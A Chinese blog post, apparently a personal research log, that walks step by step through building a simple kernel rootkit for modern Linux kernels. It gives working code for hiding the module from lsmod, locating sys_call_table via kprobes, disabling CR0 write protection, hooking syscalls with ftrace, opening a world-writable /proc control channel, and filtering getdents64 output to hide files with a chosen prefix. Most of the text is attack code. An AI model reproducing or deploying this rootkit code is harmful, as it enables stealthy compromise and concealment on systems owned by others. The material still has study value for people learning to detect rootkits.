Linux下进程隐藏 三 - 高版本Linux下简易Rootkit编写

请注意,本文编写于 985 天前,最后修改于 951 天前,其中某些信息可能已经过时。

前言

本文用途:只是为了记录自己的研究过程,参考的内容都会给出来源。

经过前面两章的研究,我们已经研究了在用户层下面的相关研究方案,然而用户层下面终究会有一些蛛丝马迹泄露出我们后面相关的蛛丝马迹,所以我们就得编写一个简易的内核层的东西来。

先确定目标,我们的rootkit必须有三个功能,一个是自身的隐藏,让用户无法检测到我们自己的存在,第二个是对系统关键内容的修改,比如隐藏文件,隐藏进程,隐藏CPU指行状态等,对其他程序进行隐藏,第三个就是想到再说

首先第一步,我们先从网络上最简单的hello,world开始

//hello.c
#include <linux/init.h>  
#include <linux/module.h>  
   
MODULE_LICENSE("GPL");  
static int hello_init(void)  
{  
  printk(KERN_ALERT "Hello, world\n");  
  return 0;  
}  
static void hello_exit(void)  
{  
  printk(KERN_ALERT "Goodbye, cruel world\n");  
}  
   
module_init(hello_init);  
module_exit(hello_exit);  
//Makefile
obj-m :=hello.o  
KERNEL :=/lib/modules/$(shell uname -r)/build 
PWD :=$(shell pwd)  
modules :  
    $(MAKE) -C $(KERNEL) M=$(PWD) modules  
.PHONEY:clean  
clean :  
    rm -f *.o *.ko  

上面就是要给最简单的hello,world最简单的代码。

然而想要直接编译我们还得先安装一个源码包,否则没法编译

apt install build-essential
apt install linux-headers-`uname -r`

根据系统的不同自行替换包管理软件,反正大体都是linux-headers-xxx之类的软件。至于build-essential,不同系统有不同的叫法,比如arch是base-devel。centos是。。什么什么devel来着总之就是类似的东西。

安装了之后才会在/lib/modules/下有当前系统的源码包,我们以上的代码才能编译。

编译成功后会在系统下面生成一个ko文件,使用insmod可以进行加载,lsmod可以查看所有安装的模块,然后试rmmod可以对模块进行删除。

hello_ko.png
hello_ko.png

隐藏自身

由于这部分已经有作者写过了,说的很详细,我就一笔带过,详细可以参考【CODE.0x01】简易 Linux Rootkit 编写入门指北

这篇文章,基本原理就是与,模块所有信息都储存于一个结构体链表中,只需要把我们的模块从这个链表中删除,那么lsmod工具就无法发现我们的模块,当然也不是没有发现的办法,这个我们后面再说。

简单的使用方法就是如下

list_del(&THIS_MODULE->list);
kobject_del(&THIS_MODULE->mkobj.kobj);
list_del(&THIS_MODULE->mkobj.kobj.entry);

上述的方案就是删除/proc/modules。/sys/modules和kobj中的链表相关内容。这样执行之后我们的模块就无法通过lsmod这类工具查找出来了。

其中THIS_MODULE是一个C的宏,指向模块自身。

this_module.PNG
this_module.PNG

隐藏文件?no! 得先看看如何HOOK

使用strace我们可以看到ls的所有栈调用,我们可以从中选择我们希望hook的函数。

我们在ring3下使用LD_PRELOAD的方式就是hook readdir函数。然而在内核中,我们应该直接HOOK系统调用号。

现在唯一的问题就是如何HOOK

对于提升到内核当中的我们来说,首要的问题不是是否有权限,最大的问题是HOOK哪里。又回到了老生常谈的寻址问题。

在早期内核中,有一个非常简单的寻址方式就是利用kallsyms_lookup_name
直接通过kallsyms_lookup_namelookup_address找到sys_call_table的地址然后就可以直接使用该地址

   syscall_table = (void *)kallsyms_lookup_name("sys_call_table");
   
   /* get the page table entry (PTE) for the page containing sys_call_table */
   pte = lookup_address((long unsigned int)syscall_table, &level);

通过上面的方法就可以随心所欲的找到我们的目标地址并进行HOOK,然而

[Unexporting kallsyms_lookup_name()][4]

kallsyms_lookup_name模块最近被废止了。至少在比较新的系统上是无法使用它了。

然后就是网络上的其他方法,最典型的是暴力搜索法。

意外的发现一个参考资料 Linux Rootkit 系列,里面写的很详细,然而问题是这篇文章的东西有点老,很多东西都无法使用了。这里就大致记录下几个坑吧

虽然说kallsyms_loopup_name是无法使用,但是如果直接读取/proc/kallsyms,还是能获得到地址的

sudo cat /proc/kallsys |grep -w sys_call_table

接下来根据文章,直接暴力搜索内存, 这也是很多文章中通用的方法

unsigned long **get_sys_call_table(void)
{
  unsigned long **entry = (unsigned long **)PAGE_OFFSET;
    for(; (unsigned long)entry < ULONG_MAX; entry += 1){
      if(entry[__NR_close] == (unsigned long *)sys_close)
          return entry;
    }
    return NULL;
}

使用这段代码,首先遇到的一个问题是,‘sys_close’ undeclared,后来根据了解在2.6之后sys_close被替换成了ksys_close,然而即使替换程了ksys_close也无法使用。

这是因为在现代内核(>4.15)中,系统将不再到处系统调用了。

接下来就是文章中另外一个用法:/boot/System.map

然而,从v5.10 之后,System.map将不再提供地址信息了。详细可以参考这里:Linux Kernel

cat /boot/System.map-5.14.0-kali4-amd64                                                                                                                                                                                             
ffffffffffffffff B The real System.map is in the linux-image-<version>-dbg package

接下来就是根据IDT表查找,然而我使用了sidt指令后无论如何都不给我返回正确的地址。。

在一番的搜寻后,我发现了如下方法

ftrace辅助查找法

这是一个非常新的技术,专门适用于 >5.7 的linux 版本系统,详细可以查看这个文章

Linux Rootkits: New Methods for Kernel 5.7+

根据文章,我们可以直接使用

#include <linux/ftrace.h>
#include <linux/kprobes.h>
static struct kprobe kp = {
    .symbol_name = "kallsyms_lookup_name"
};


static void test(){
    typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
    kallsyms_lookup_name_t kallsyms_lookup_name;
    register_kprobe(&kp);
    kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr;
    unregister_kprobe(&kp);
    unsigned long *syscall_table = kallsyms_lookup_name("sys_call_table");

    printk(KERN_ALERT "ROOTKIT syscall_table is at %p",syscall_table);
}

就可以获得到syscall_table的地址。

get_it.png
get_it.png

接下来我们直接试着修改表内容,遇到的第一个问题就是cr0保护问题,

我使用如下代码

      write_cr0(read_cr0() & (~0x10000)); // 关闭内核写保护
      oldadr = (unsigned int)syscall_table[__NR_uname]; // 保存真实地址
      syscall_table[__NR_uname] = myfunc; // 修改地址
      write_cr0(read_cr0() | 0x10000); // 恢复写保护

遇到了如下问题:

[   11.148893] CR0 WP bit went missing!?

经过一番查找,发现是在高版本中,内核会判断write_cr0是否被修改导致引发panic,根据如下的解决方案

[how-to-write-to-protected-pages-in-the-linux-kernel][9]

自定义一个inline function修改cr0值就可以,最后目前我们的代码如下

#include <linux/init.h>  
#include <linux/module.h>  
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/syscalls.h>
MODULE_LICENSE("GPL");  
#include <linux/ftrace.h>
#include <linux/kprobes.h>
static struct kprobe kp = {
    .symbol_name = "kallsyms_lookup_name"
};
unsigned int oldadr;
unsigned long *syscall_table;
unsigned long __force_order;
inline void mywrite_cr0(unsigned long cr0) {
  asm volatile("mov %0,%%cr0" : "+r"(cr0), "+m"(__force_order));
}
void enable_write_protection(void) {
  unsigned long cr0 = read_cr0();
  set_bit(16, &cr0);
  mywrite_cr0(cr0);
}
void disable_write_protection(void) {
  unsigned long cr0 = read_cr0();
  clear_bit(16, &cr0);
  mywrite_cr0(cr0);
}
void myfunc(void)
{
  printk(KERN_ALERT "hook test!\n");
  return;
}
static int hello_init(void)  
{  
    typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
    kallsyms_lookup_name_t kallsyms_lookup_name;
    register_kprobe(&kp);
    kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr;
    unregister_kprobe(&kp);
    syscall_table = kallsyms_lookup_name("sys_call_table");
    printk(KERN_ALERT "ROOTKIT syscall_table is at %p",syscall_table);
    if (syscall_table)
    {
      disable_write_protection();// 关闭内核写保护
      oldadr = (unsigned int)syscall_table[__NR_uname]; // 保存真实地址
      syscall_table[__NR_uname] = myfunc; // 修改地址
      enable_write_protection(); // 恢复写保护
      printk(KERN_ALERT "hook success\n");
    } else {
      printk(KERN_ALERT "hook failed\n");
    }
    printk(KERN_ALERT "Hello, world\n");  
  return 0;  
}  
static void hello_exit(void)  
{  

  if (syscall_table) {
    disable_write_protection(); 
    syscall_table[__NR_uname] = oldadr; // 恢复原地址
    enable_write_protection();
    printk(KERN_ALERT "resume syscall table, module removed\n");
  }
  printk(KERN_ALERT "Goodbye, cruel world\n");  
}
module_init(hello_init);  
module_exit(hello_exit);  

然后Makefile文件不变,在我linux-5.14下编译通过

HOOK

上面的代码我们使用了syscall_table[__NR_uname] 进行函数的HOOK,这样不是不行,但是我们都引用了ftrace包了,自然应该使用更优雅的HOOK方案。

详细文档在这:Using ftrace to hook to functions - kernel.org

直接根据文档


struct ftrace_ops ops = {
      .func                    = my_callback_func,
      .flags                   = FTRACE_OPS_FL_SAVE_REGS
                | FTRACE_OPS_FL_RECURSION_SAFE
                | FTRACE_OPS_FL_IPMODIFY;
};


ret = ftrace_set_filter_ip(&ops, sys_call_table_function_address, 0, 0);

register_ftrace_function(&ops);

就这样,一个HOOK就做好了。该HOOK和我们以往的HOOK并不太一样,以往的HOOK都是直接暴力修改sys_call_table的地址。

然而ftrace是用其他的实现方式,文档中使用了callback进行HOOK函数的回调,原型如下

void callback_func(unsigned long ip, unsigned long parent_ip,
                   struct ftrace_ops *op, struct pt_regs *regs);

然后,每个参数的功能如下。

@ip
This is the instruction pointer of the function that is being traced. (where the fentry or mcount is within the function)

@parent_ip This is the instruction pointer of the function that called
the the function being traced (where the call of the function
occurred).

@op This is a pointer to ftrace_ops that was used to register the

  1. This can be used to pass data to the callback via the
  2. pointer.

@regs If the FTRACE_OPS_FL_SAVE_REGS or
FTRACE_OPS_FL_SAVE_REGS_IF_SUPPORTED flags are set in the ftrace_ops
structure, then this will be pointing to the pt_regs structure like it
would be if an breakpoint was placed at the start of the function
where ftrace was tracing. Otherwise it either contains garbage, or
NULL.

我英语贼辣鸡就不乱翻译了,我们看向其中的重点regs,regs是一个pt_regs 结构,研究我们之前LINUX进程注入的时候就应该很熟悉了,这东西会保存函数调用时寄存器中所有的信息,意味着我们如果需要参数,就需要根据linux调用方式从pt_regs的寄存器中分别读出内容。然后进行操作。

重点

同时,因为我们以往都是直接暴力修改函数地址制作HOOK,所以可能会造成思维定势,ftrace的HOOK和这不一样,这个callback并不是执行到HOOK点就替换成我们的callback,而是类似一个filter的存在。具体操作还是要看filter对于寄存器的IP的修改,如果不进行任何修改,那么仅仅在指行这个filter之后原本的函数还是会继续运行。所以我们的代码如下.我们假设HOOK一个mkdir。


static asmlinkage long fake_mkdir(struct pt_regs *regs){
     // do something  我们的HOOK函数
     long ret = ori_sys_mkdir(regs); //保证原函数的运行
     return ret;
}
void my_callback_func(unsigned long ip, unsigned long parent_ip,
                   struct ftrace_ops *op, struct ftrace_regs *regs){
  struct pt_regs *p_regs;
  p_regs = ftrace_get_regs(regs); //必须要用这个方法把ftrace_regs转成pt_regs
  p_regs->ip = (unsigned long)fake_mkdir;

}


static asmlinkage long (*ori_sys_mkdir)(struct pt_regs *regs); // 用于保存sys_mkdir的原始地址
static void hook(){
 int err = ftrace_set_filter_ip(&ops, sys_mkdir, 0, 0);
       if(err)
        {
            printk(KERN_ALERT "rootkit: ftrace_set_filter_ip() failed: %d\n", err);

        }
      err = register_ftrace_function(&ops);
      if(err)
      {
            printk(KERN_ALERT "rootkit: register_ftrace_function() failed: %d\n", err);
        }

      *((unsigned long*) &ori_sys_mkdir) = sys_mkdir;// 修改ori_sys_mkdir为原本的系统调用以备我们后续调用
}

以上就是一个简单的HOOK过程,可以看到callback其实并不是直接一个传统意义上的HOOK。也就是 修改->指行,而是更类似于一个工厂函数,下一步动作取决于工厂函数对寄存器的操作:我们修改了寄存器的IP让程序跳转到了我们的fake函数,进行了一些处理后,再把数据交给原本函数(当然不交也行)完成一个HOOK。

然而以上代码有一个非常严重的错误,这个错误甚至能导致你的系统奔溃,记住我们的HOOK不是直接替换地址。而是匹配地址就触发callback,也就是说,即使我们在fake函数中,正确调用了原本sys_mkdir后,还是会触发到我们的callback,然后再次被修改IP调转到我们的fake函数,然后fake函数再调用sys_mkdir然后再callback.....

这就造成了一个死循环。第一个想的解决办法,就是在fake函数调用sys_mkdir的时候取消掉filter的注册。。这样也不是不行,但是感觉开销太大了。于是乎我找到了一个好东西within_module

static inline bool within_module_core(unsigned long addr,
                      const struct module *mod)
{
    return (unsigned long)mod->core_layout.base <= addr &&
           addr < (unsigned long)mod->core_layout.base + mod->core_layout.size;
}

因为callback提供了上层调用者的IP,然后我们只需要用within_module和THIS_MODULE宏比对,判断调用sys_mkdir的是否是我们当前的模块就知道是否是fake函数调用来的,如果是那里调用来的则忽略HOOK请求

void my_callback_func(unsigned long ip, unsigned long parent_ip,
                   struct ftrace_ops *op, struct ftrace_regs *regs){
  struct pt_regs *p_regs;
  p_regs = ftrace_get_regs(regs); 
  if (!within_module(parent_ip, THIS_MODULE)){
    p_regs->ip = (unsigned long)fake_mkdir;
  }
}

重点2

我们把目光转到fake_mkdir,假设我们想HOOK,就必须要对参数进行修改,或者说是读取。

由于给了寄存器我们可以根据Linux系统调用约定来读取相关的内容。比如我们要读取第一个参数可以直接char __user *pathname = (char *)regs->di;

但是我们会发现,如果直接printk出来的内容并不可读,这是因为模块处于内核空间,而我们输出的是用户空间,所以我们得需要copy_to_usercopy_from_user这两个函数把数据读取到用户空间才能输出内容

代码如下

static asmlinkage long fake_mkdir(struct pt_regs *regs){
    
      char __user *pathname = (char *)regs->di;
      char dir_name[NAME_MAX] = {0};
      long error = strncpy_from_user(dir_name, pathname, NAME_MAX);//把数据读取到用户空间
      if (error >0){
        printk(KERN_ALERT "HOOK MKDIR NAME:\t%s\n",dir_name);
      }
     long ret = ori_sys_mkdir(regs);
     return ret;
}

效果如下

屏幕截图 2022-02-12 135613.png
屏幕截图 2022-02-12 135613.png

同理,我们如果要修改参数,就得用copy_to_user把我们本地的内容替换过去。

static asmlinkage long fake_mkdir(struct pt_regs *regs){
    
      char __user *pathname = regs->di;
      char dir_name[NAME_MAX] = "a";
      long error = copy_to_user(pathname,dir_name, NAME_MAX);
     long ret = ori_sys_mkdir(regs);
     return ret;
}

效果如下

屏幕截图 2022-02-12 170116.png
屏幕截图 2022-02-12 170116.png

到这里,我们的HOOK基本就完成了

交互

这一章节可以省略,但是也不是不能讲讲,毕竟有时候比如我们需要进行一些交互的操作,类似于提权啊,或者一些其他高级操作的时候,我们不可能一直修改内核代码再编译,这样太麻烦了。所以我们得像shell命令一样,找一个地方进行交互。

网络上现有的大部分rootkit方案都是对/proc的proc_fops进行hook,对用户传入的数据进行处理。

关键我们看这个

struct proc_dir_entry {
    unsigned int low_ino;
    unsigned short namelen;
    const char* name;
    mode_t mode;
    nlink_t nlink;
    uid_t uid;
    gid_t gid;
    loff_t size;
    const struct inode_operations* proc_iops;

    const struct file_operations* proc_fops;
    struct proc_dir_entry* next, *parent, *subdir;
    void* data;
    read_proc_t* read_proc;
    write_proc_t* write_proc;
    atomic_t count;        /* use count */
    int pde_users;    /* number of callers into module in progress */
    spinlock_t pde_unload_lock; /* proc_fops checks and pde_users bumps */
    struct completion* pde_unload_completion;
    struct list_head pde_openers;    /* who did ->open, but not ->release */
};

使用create_proc_entry()函數創建在/proc文件系統中創建一個虛擬文件
函數返回值的 proc_dir_entry 結構體中包含了/proc
節點的讀函數指針(read_proc_t*read_proc)、寫函數指針(write_proc_t
*write_proc)以及父節點、子節點信息等。讀寫函數的原型為:

typedef    int (read_proc_t)(char* page, char** start, off_t off,
                             int count, int* eof, void* data);
typedef    int (write_proc_t)(struct file* file, const char __user* buffer,
                              unsigned long count, void* data);

這兩個函數指針需要我們在創建完了節點之後再給其賦值,而函數也需要自己來實現。其實這兩個函數也就是當用戶空間讀寫該文件時,內核所做的動作。

资料引用自:proc虛擬文件系統

我们注意proc_dir_entry中的parent成员,这个成员可以指向父目录的成员。我们使用create_proc_entry在/proc下创建了一个虚拟文件后,就可以使用parent找到/proc的proc_dir_entry结构体,然后我们劫持proc的fops,这样我们的程序就能实现往/proc写入数据传递到我们ko模块的效果了。

或者不整那么花里胡哨的,就用普通在proc下专门创建个文件接收也不是不行。

原本我也是打算直接照抄的,然而在高版本linux中,这个地方出现了一点变化。

首先是从5.5开始create_proc_entry()被修改为proc_create()

同时proc_dir_entry 结构体也变成了这样

struct proc_dir_entry *proc_create(const char *name, 
        umode_t mode, 
        struct proc_dir_entry *parent, 
        const struct proc_ops *proc_ops);

我们注意其中的proc_ops,由原先的file_operations类型转变程了proc_ops类型。详情可以查看:proc: convert everything to struct proc_ops
这样用法也转变成了这样

static const struct proc_ops proc_file_fops_output = {
    .proc_read = rootkit_read,
    .proc_write = rootkit_write,
};

其他基本就没啥问题了,

char *cmd_output = NULL;
int cmd_output_len = 0;
ssize_t output_write(struct file *file, const char *buf, size_t len, loff_t *offset)
{
    long error;

    if(cmd_output_len != 0)
        kfree(cmd_output);
    cmd_output = kzalloc(len, GFP_KERNEL);
    error = copy_from_user(cmd_output, buf, len);
    printk(KERN_ALERT "cmd_line: %s\n",cmd_output);
    if(error)
        return -1;
    cmd_output_len = len;
    return len;
}
ssize_t output_read(struct file *file, char *buf, size_t len, loff_t *offset)
{
    int ret;
    char *kbuf = NULL;
    long error;
    static int finished = 0;
    kbuf = kzalloc(cmd_output_len, GFP_KERNEL);
    strncpy(kbuf, cmd_output, cmd_output_len);


    if ( finished )
    {

        finished = 0;
        ret = 0;
        goto out;
    }
    else
    {

        finished = 1;
        error = copy_to_user(buf, kbuf, cmd_output_len);
        if(error)
            return -1;
        ret = cmd_output_len;
        goto out;
    }
out:
    kfree(kbuf);
    return ret;
}

static struct proc_ops proc_file_fops_output = {

    .proc_read = output_read,
    .proc_write = output_write,
};
static int hello_init(void)  
{  
  proc_entry = proc_create("test", 0666, NULL, &proc_file_fops_output);
  if (proc_entry == NULL) {
    printk(KERN_INFO "fortune: Couldn't create proc entry\n");
  }
    printk(KERN_ALERT "Hello, world\n");  
  return 0;  
}  

proc_ok.png
proc_ok.png

这些完成之后,就该进入我们rootkit主要模块的编写了

隐藏文件

能hook sys_call_table后,解决了怎么hook的问题,接下来就是Hook哪里。

我们直接使用strace ls,来查看一个文件的调用栈。

ioctl(1, TCGETS, {B38400 opost isig icanon echo ...}) = 0
ioctl(1, TIOCGWINSZ, {ws_row=48, ws_col=209, ws_xpixel=0, ws_ypixel=0}) = 0
openat(AT_FDCWD, ".", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
newfstatat(3, "", {st_mode=S_IFDIR|0755, st_size=4096, ...}, AT_EMPTY_PATH) = 0
getdents64(3, 0x5597ad35d730 /* 3 entries */, 32768) = 88
getdents64(3, 0x5597ad35d730 /* 0 entries */, 32768) = 0
close(3)                                = 0
newfstatat(1, "", {st_mode=S_IFCHR|0600, st_rdev=makedev(0x88, 0x1), ...}, AT_EMPTY_PATH) = 0
write(1, "5.16.5-arch1-1\n", 155.16.5-arch1-1
)        = 15
close(1)                                = 0
close(2)                                = 0

我就给出个部分,我们看到其中两个最主要的函数。一个是getdents64,一个是write。对于这两个,我们可以从 Linux Syscall Reference 中看出来,主要是sys_write和sys_getdents64这两个,前者是(仅仅针对ls的情况)对处理完的数据输出到控制台时候的操作,后者才是真正的Linux内核对于磁盘中文件处理的函数。

Hook两者各有利弊,Write主要在于系统中使用的地方太多,这种过滤影响性能不说,输出的文字形势千奇百怪,我们不好直接匹配,以及这是属于一种掩耳盗铃的手法,实际上系统任然能够操作文件。

所以我们还是HOOK后面一个函数比较好。直接对这个文件定义就行一个函数的查

int sys_getdents64( unsigned int fd, struct linux_dirent 64 __user * dirent, unsigned int count);

这就是函数的定义,我们其他都不看,就看中间这个linux_dirent64 __user,它的定义如下

struct linux_dirent64 {
    u64         d_ino;
    s64         d_off;
    unsigned short      d_reclen;
    unsigned char       d_type;
    char        d_name[];
};

其中,这个结构体,我们应该非常熟悉,因为我们在R3下使用LD_PRELOAD劫持进行文件隐藏时,也遇到过类似的结构,详情可以查看这里

其中d_relen包含着当前结构体长度,然后d_name写着当前目录的名称,我们要做的就是比对d_name,判断是否是我们需要隐藏的,如果是需要隐藏,则把这部分的结构体给删除掉。

那么如何删除呢。linux_dirent64 在内存种的排列是连续的,而且sys_getdents64的第二个参数dirent正好指向第一个linux_dirent64 结构体,所以根据上面的信息,我们只要知道linux_dirent64链表的大小,就能根据linux_dirent64->d_reclen,就能准确从连续的内存中分割出每一块linux_dirent64。

而sys_getdents64的返回值刚好就是linux_dirent64整片链表的大小,那么要素齐全了,我们就可以开始操作了。

开始摆烂,我直接上别人的源码了。代码引用自:rootkit.c

#define PREFIX "boogaloo"

static asmlinkage int fake_getdents64(const struct pt_regs *regs){
   
/* These are the arguments passed to sys_getdents64 extracted from the pt_regs struct */
    struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si;
    long error;


    struct linux_dirent64 *current_dir, *dirent_ker, *previous_dir = NULL;
    unsigned long offset = 0;

    /* We first have to actually call the real sys_getdents64 syscall and save it so that we can
     * examine it's contents to remove anything that is prefixed by PREFIX.
     * We also allocate dir_entry with the same amount of memory as  */
    int ret = ori_getdents64(regs);
    dirent_ker = kzalloc(ret, GFP_KERNEL);
    if ( (ret <= 0) || (dirent_ker == NULL) )
        return ret;
    /* Copy the dirent argument passed to sys_getdents64 from userspace to kernelspace 
     * dirent_ker is our copy of the returned dirent struct that we can play with */
    error = copy_from_user(dirent_ker, dirent, ret);
    if (error)
        goto done;
    /* We iterate over offset, incrementing by current_dir->d_reclen each loop */
    while (offset < ret)
    {
        /* First, we look at dirent_ker + 0, which is the first entry in the directory listing */
        current_dir = (void *)dirent_ker + offset;
        /* Compare current_dir->d_name to PREFIX */
        if ( memcmp(PREFIX, current_dir->d_name, strlen(PREFIX)) == 0)
        {
            /* If PREFIX is contained in the first struct in the list, then we have to shift everything else up by it's size */
            if ( current_dir == dirent_ker )
            {
                ret -= current_dir->d_reclen;
                memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
                continue;
            }
            /* This is the crucial step: we add the length of the current directory to that of the 
             * previous one. This means that when the directory structure is looped over to print/search
             * the contents, the current directory is subsumed into that of whatever preceeds it. */
            previous_dir->d_reclen += current_dir->d_reclen;
        }
        else
        {
            /* If we end up here, then we didn't find PREFIX in current_dir->d_name 
             * We set previous_dir to the current_dir before moving on and incrementing
             * current_dir at the start of the loop */
            previous_dir = current_dir;
        }

        /* Increment offset by current_dir->d_reclen, when it equals ret, then we've scanned the whole
         * directory listing */
        offset += current_dir->d_reclen;
    }
    /* Copy our (perhaps altered) dirent structure back to userspace so it can be returned.
     * Note that dirent is already in the right place in memory to be referenced by the integer
     * ret. */
    error = copy_to_user(dirent, dirent_ker, ret);
    if (error)
        goto done;
done:
    /* Clean up and return whatever is left of the directory listing to the user */
    kfree(dirent_ker);
    return ret;
}

效果如下

hidden_file.png
hidden_file.png

自此,我们一个简易的隐藏文件就整好了

自启动

哪天不想咕咕咕了就来写

结尾

虽说只实现了一个文件隐藏功能,但是基本的rootkit所需具备的框架已经基本都完成了。

要对此进行扩展只需要使用strace找到HOOK点,然后添加HOOK,然后对数据进行处理。无外乎这些。

以前觉得啊rootkit好帅好流弊,这次才知道linux rootkit其实并不怎么轻松。

主要还是在于linux和windows的两种不同策略。linux在于可持续性可靠的文档。而windows讲究向下兼容。

Linux对于安全的态度是交给用户把控,而windows的话则强制要求签名。

所以导致Linux的rootkit对于系统版本的要求很严格,甚至一个更新内核关键数据修改就全部木大。

但是也不是没有办法,就是花时间和精力做出每个版本能勇的,然后遇到什么版本系统上什么版本系统的模块即可。

而windows的话则是直接一个强制驱动签名杀死了绝大部分rootkit。

没了,就这么多了。

添加新评论

已有 1 条评论

很多计划还来不及执行,很多设想还来不及规划